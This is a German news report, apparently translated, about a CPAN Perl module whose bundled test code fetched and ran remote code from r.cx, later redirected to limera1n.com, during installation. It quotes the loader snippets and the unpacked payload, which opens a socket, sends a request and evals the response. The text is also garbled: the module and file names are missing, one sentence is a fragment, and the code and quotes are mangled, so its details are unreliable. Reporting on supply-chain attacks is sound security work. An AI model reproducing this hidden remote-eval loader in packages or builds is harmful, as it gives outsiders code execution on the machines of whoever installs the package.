Im über das CPAN-Verzeichnis verbreiteten Perl-Paket , das für die automatische Ablage von CPAN-Modulen zur Laufzeit vorgesehen ist, schadhafter Code. Eine schadhafte Einfügung wurde im Testcode , der seit 2011 mitgeliefert wird.
Bemerkenswert ist, dass bereits 2016 Fragen zur Ablage von fragwürdigem Code aufkamen .
Die schadhafte Aktivität besteht darin, zu versuchen, Code von einem externen Server (http://r.cx:1/) während der Ausführung des Test-Sets, das beim Installieren des Moduls gestartet wird, zu laden und auszuführen. Es wird angenommen, dass der anfangs von einem externen Server geladene Code nicht schädlich war, aber jetzt wird die Anfrage auf die Domain ww.limera1n.com umgeleitet, die ihren eigenen Code zum Ausführen bereitstellt.
Für die Organisation der Ablage wird im Datei der folgende Code verwendet:
my $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
my $try = `$^X $prog`;
Der angegebene Code führt das Skript , dessen Inhalt auf die Zeile lautet:
use lib do{eval&&botstrap(„RCX“)if$b=new IO::Socket::INET 82.46.99.88.}:1“};
Dieses Skript lädt mit Hilfe des Dienstes Code von dem externen Host r.cx (die Codesymbole 82.46.99.88 entsprechen dem Text „R.cX“) und führt ihn im eval-Block aus.
$ perl -MIO::Socket -e’$b=new IO::Socket::INET 82.46.99.88.}:1“; print ;’
eval unpack u=>q{_<'I;G1[)&(];F5W($E/.CI3;V-K970Z.DE….}
Nach dem Entpacken wird letztendlich folgendes ausgeführt :
print{$b=new IO::Socket::INET„ww.limera1n.com:80“}„GET /iJailBreak
„;evalor return warn$@while$b;1
Der problematische Paket wurde derzeit aus dem Repository (Perl Authors Upload Server) entfernt, und das Benutzerkonto des Modulautors wurde gesperrt. Dabei bleibt das Modul vorerst im Archiv von MetaCPAN und kann direkt von MetaCPAN mit Hilfe einiger Tools, wie cpanminus, installiert werden. , dass das Paket nicht weit verbreitet war.
Interessanterweise hat sich die Diskussion und der Autor des Moduls, der die Informationen widerlegte, dass schadhafter Code nach dem Hack seiner Website „r.cx“ eingefügt wurde, erklärte, dass er sich einfach amüsierte und perlobfuscator.com nicht zum Verstecken von etwas verwendete, sondern um die Größe des Codes zu reduzieren und das Kopieren über die Zwischenablage zu erleichtern. Die Wahl des Funktionsnamens „botstrap“ wurde damit begründet, dass dieses Wort „wie bot klingt und kürzer als bootstrap ist“. Der Autor des Moduls versicherte ebenfalls, dass die entdeckten Manipulationen keine schädlichen Handlungen ausführen, sondern lediglich das Laden und Ausführen von Code über TCP demonstrieren.
Quelle: opennet.ru
